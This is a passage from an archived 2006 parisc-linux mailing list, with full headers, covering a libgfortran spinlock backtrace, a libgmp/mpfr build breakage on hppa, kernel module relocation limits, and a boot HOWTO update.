!$omp end parallel
    if (err .gt. 0) call abort
  end subroutine foo
end

I've forgotten all the fortran I ever knew.  In any case, I suspect
a lock initialization problem.  In the first call into __pthread_acquire
with this particular lock, it's not initialized:

(gdb) p *spinlock
$10 = {lock = {0, 0, 0, 0}} <== we would see some ones if initialized
(gdb) bt
#0  __pthread_acquire (spinlock=0x191030) at spinlock.c:710
#1  0x000319d4 in __pthread_alt_unlock (lock=0x191030) at spinlock.c:527
#2  0x0002ef18 in __pthread_mutex_unlock (mutex=<value optimized out>)
    at mutex.c:199
#3  0x00015388 in *_gfortran_st_write_done (dtp=0xbff00aa8)
    at ../../../gcc/libgfortran/io/transfer.c:2424
#4  0x000105ac in MAIN__ ()
    at /home/dave/gcc-4.2/gcc/libgomp/testsuite/libgomp.fortran/reduction6.f90:10
#5  0x00011e58 in main (argc=<value optimized out>, argv=<value optimized out>)
    at ../../../gcc/libgfortran/fmain.c:18
(gdb) p/x *($sp - 0x78)
$11 = 0x191030

So, I believe the value for spinlock in the backtrace.  Thus, this is
probably a libgfortran issue.  

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] new debian libgmp (4.2-dfsg-1) break the gcc(-4.1) 
	build
Date: Wed, 14 Jun 2006 17:44:59 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <J0UX2Z$08DAE5F983CF44ED0585264F7784FC15@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624109 19914 80.91.229.3 (22 Nov 2014 02:41:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:49 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "soete.joel" <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jun 2006 15:45:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 14 Jun 2006 17:45:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A1D87D67B;
	Wed, 14 Jun 2006 09:45:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19366-10; Wed, 14 Jun 2006 09:45:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5D577D67D;
	Wed, 14 Jun 2006 09:45:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAC637D679
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jun 2006 09:45:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19366-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jun 2006 09:45:15 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 42B0E7D678
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jun 2006 09:45:15 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id k5EFix916154; 
	Wed, 14 Jun 2006 17:44:59 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fkv4CQQxbHIyva3NNjQ0YbcqJihyahDc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23752

> Hello Dave,
> 
> I am not any more on debian hppa list for the moment ;-( , so I put inf=
o here
> temporarely.
> 
> This morning I tried to rebuild my local gcc-4.1 but it failled with th=
is
> failure noticed in config.log:
> [snip]
> configure:2316: gnatgcc -o conftest -g -O2    conftest.c  -lmpfr -lgmp =
1>&5
> /usr/lib/gcc/hppa-linux-gnu/4.0.4/../../../libmpfr.so: undefined refere=
nce to
> `__gmp_rand'
> collect2: ld returned 1 exit status
> configure: failed program was:
> #line 2308 "configure"
> #include "confdefs.h"
> #include <gmp.h>
> #include <mpfr.h>
> int main() {
> mpfr_t n; mpfr_init(n);
> ; return 0; }
> 
> and also noticed that libgmp??? dpkg was upgraded since previous build.=

> 
> Fortunately, I can still grab all src files from previous libgmp releas=
e
> (4.1.4-11) and reinstall a rebuild. Now the gcc-4.1 build continue ;-)
> 
> Any known issue with this new libgmp?
> 
mmm, seems to be well known mpfr pr #362837.

> Thanks,

Now the problem is that mpfr ftbs for hppa as read in
<http://buildd.debian.org/fetch.php?&pkg=3Dmpfr&ver=3D2.2.0.dfsg.1-6&arch=
=3Dhppa&stamp=3D1149775099&file=3Dlog&as=3Draw>
because of many test failures ;-(

I tried '-k' make's option but doesn't help to complete the build?

Also tried to rebuild libs with -O0 (as for m68k), no help.

And finaly older gcc-4.0 as compiler didn't help more.

(btw I didn't yet understand why this lib is neceesary to build gcc: i ju=
st
want to test it (as well as the 64bit x compiler) against kernel, and gli=
bc
for regression testing ;-?

Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devene=
z aujourd'hui Scarlet One grace a un client existant de Scarlet, vous rec=
evez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur ht=
tp://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Wed, 14 Jun 2006 12:47:57 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <1150303677.3143.3.camel@mulgrave.il.steeleye.com>
References: <200606052020.52908.kmh@sonic.net>
	<200606060349.k563n4ST023145@hiauly1.hia.nrc.ca>
	<7d01f9f00606060551n2aabd3e9p908745991df33a2f@mail.gmail.com>
	<448FC282.80402@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624110 19921 80.91.229.3 (22 Nov 2014 02:41:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:50 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <varenet@gmail.com>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jun 2006 16:48:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 14 Jun 2006 18:48:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E9577D6AE;
	Wed, 14 Jun 2006 10:48:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20107-01; Wed, 14 Jun 2006 10:48:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E3B07D670;
	Wed, 14 Jun 2006 10:48:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81FEB7D667
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jun 2006 10:48:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19701-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jun 2006 10:48:28 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 49BF17D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jun 2006 10:48:28 -0600 (MDT)
Original-Received: from newfenric.sc.steeleye.com (newfenric.sc.steeleye.com
	[172.17.4.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id k5EGm2a22503; 
	Wed, 14 Jun 2006 12:48:02 -0400
In-Reply-To: <448FC282.80402@tausq.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3A+nc211bGI0oKaDYmRnhgZncmZ1ZlxV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23753

On Wed, 2006-06-14 at 16:02 +0800, Randolph Chung wrote:
> - As an aside, while looking at the module loading problem, I've
> convinced myself that the 64-bit module loader is wrong. OTOH, it
> seems
> to work in most cases, so there's clearly something that I don't yet
> understand.....

Well ... OK ... since I made that work I can try to remember how I did
it ... what seems to be the problem?

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Wed, 14 Jun 2006 16:02:10 +0800
Lines: 46
Approved: news@gmane.org
Message-ID: <448FC282.80402@tausq.org>
References: <200606052020.52908.kmh@sonic.net>	<200606060349.k563n4ST023145@hiauly1.hia.nrc.ca>
	<7d01f9f00606060551n2aabd3e9p908745991df33a2f@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624110 19925 80.91.229.3 (22 Nov 2014 02:41:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:50 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@gmail.com>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jun 2006 08:02:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 14 Jun 2006 10:02:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 061BB7D6A6;
	Wed, 14 Jun 2006 02:02:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15032-09; Wed, 14 Jun 2006 02:02:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B31E7D69F;
	Wed, 14 Jun 2006 02:02:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1F067D689
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jun 2006 02:02:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15032-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jun 2006 02:02:16 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 947357D685
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jun 2006 02:02:16 -0600 (MDT)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1FqQKC-0003DQ-Kc; Wed, 14 Jun 2006 16:02:04 +0800
User-Agent: Thunderbird 1.5.0.4 (Windows/20060516)
In-Reply-To: <7d01f9f00606060551n2aabd3e9p908745991df33a2f@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ofu3cakEbmw7vq2HZzdLlqBHUzc4cpGi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23754

> A number of kernel modules fail to load nowadays on parisc. That
> includes xfs, netfilter, ipv6... Some are known bloated big ones, but
> others are quite surprising. In any case that's clearly a problem we
> want to fix at some point.
> 
> I remember Randolph saying that might indeed be a kernel loader
> issue... Randolph, any thought?

ok, several things:

- I looked at fixing this in binutils, which is really the "right" place
to fix this; unfortunately the changes required are very extensive, so I
gave up

- I looked at using -mlong-calls to address this issue. I've added the
missing relocation that was reported in a previous message on this
thread, but there are other problems - with modules compiled with
-mlong-call I am seeing rather bizarre crashes that I have not had time
to debug further. I do not yet know why they are happening, although I
suspect it has to do with bve clobbering r31. I'm not yet sure if this
is a kernel problem or a gcc problem.

- As to "small" modules causing the out of bounds problem - I haven't
really looked at any modules other than ipv6. If there's a particular
one that is "surprising", I can take a look. Usually it's quite obvious
where the out of bounds problem is.

- As an aside, while looking at the module loading problem, I've
convinced myself that the 64-bit module loader is wrong. OTOH, it seems
to work in most cases, so there's clearly something that I don't yet
understand.....

The module loader has a hard coded limit for the number of GOT entries.
We can exceed this rather easily in some cases when we are using long calls.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] PA-RISC/Linux Boot HOWTO update
Date: Thu, 15 Jun 2006 12:49:52 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <7d01f9f00606150349x63e0cb64o27e903b1ebe64c5@mail.gmail.com>
References: <J0L2GT$E2B08705CCE59F3B534C4AC3D3637C58@scarlet.be>
	<7d01f9f00606090902j260fa33by2fd0cec437a89cfc@mail.gmail.com>
	<448B1FEC.9040909@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624110 19928 80.91.229.3 (22 Nov 2014 02:41:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:50 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jun 2006 10:50:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 15 Jun 2006 12:50:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D1957D6C8;
	Thu, 15 Jun 2006 04:50:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26710-04; Thu, 15 Jun 2006 04:50:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A114B7D6BA;
	Thu, 15 Jun 2006 04:50:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14BCC7D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jun 2006 04:49:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26615-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jun 2006 04:49:53 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.196])
	by free.linux.hp.com (Postfix) with ESMTP id 029607D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jun 2006 04:49:52 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id l8so381472nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jun 2006 03:49:52 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=aOWgueo0u3pEtxTgLPaIHpZQVojw0PTL2Jd4I1Gmdh36dZWiG8SAwrZcXbbit7t1+p6ZQ7ZQyTF5UVQPTsl6un3DZzy4d23jIwRvHZrP9jlpyvWBFyja6TKNwuXV2MTCMTy2qaVXLmrzLt/IqR83Nj7CNGvVUaqYhfYc1A2nFOY=
Original-Received: by 10.36.97.2 with SMTP id u2mr2431743nzb;
	Thu, 15 Jun 2006 03:49:52 -0700 (PDT)
Original-Received: by 10.36.247.43 with HTTP; Thu, 15 Jun 2006 03:49:52 -0700 (PDT)
In-Reply-To: <448B1FEC.9040909@tiscali.be>
Content-Disposition: inline
X-Google-Sender-Auth: 32a1aee47e2651df
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WAOnDUEhQEVs4OjDZnVpsupKNzg2NYKW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23755

Hi pa-ckers

I've updated the howto based on various feedback I got, if someone
wants to give it a final look before I submit it to TLDP, it's here:

http://www.pateam.org/archive/tmp/

HTH

T-Bone
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] debian Bug#373761 [Was: new debian libgmp
	(4.2-dfsg-1) break the gcc(-4.1) build]
Date: Thu, 15 Jun 2006 16:00:33 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <J0WMWX$0CDD3FBAD6693243BEDF96FC23872DBE@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624111 19930 80.91.229.3 (22 Nov 2014 02:41:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:51 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "soete.joel" <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jun 2006 14:00:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 15 Jun 2006 16:00:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 040587D6C1;
	Thu, 15 Jun 2006 08:00:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29178-07; Thu, 15 Jun 2006 08:00:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B1CB7D6C8;
	Thu, 15 Jun 2006 08:00:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 999A47D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jun 2006 08:00:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29178-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jun 2006 08:00:44 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 1851C7D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jun 2006 08:00:43 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by weequay.is.scarlet.be  with ESMTP id k5FE0Xr04392;
	Thu, 15 Jun 2006 16:00:33 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
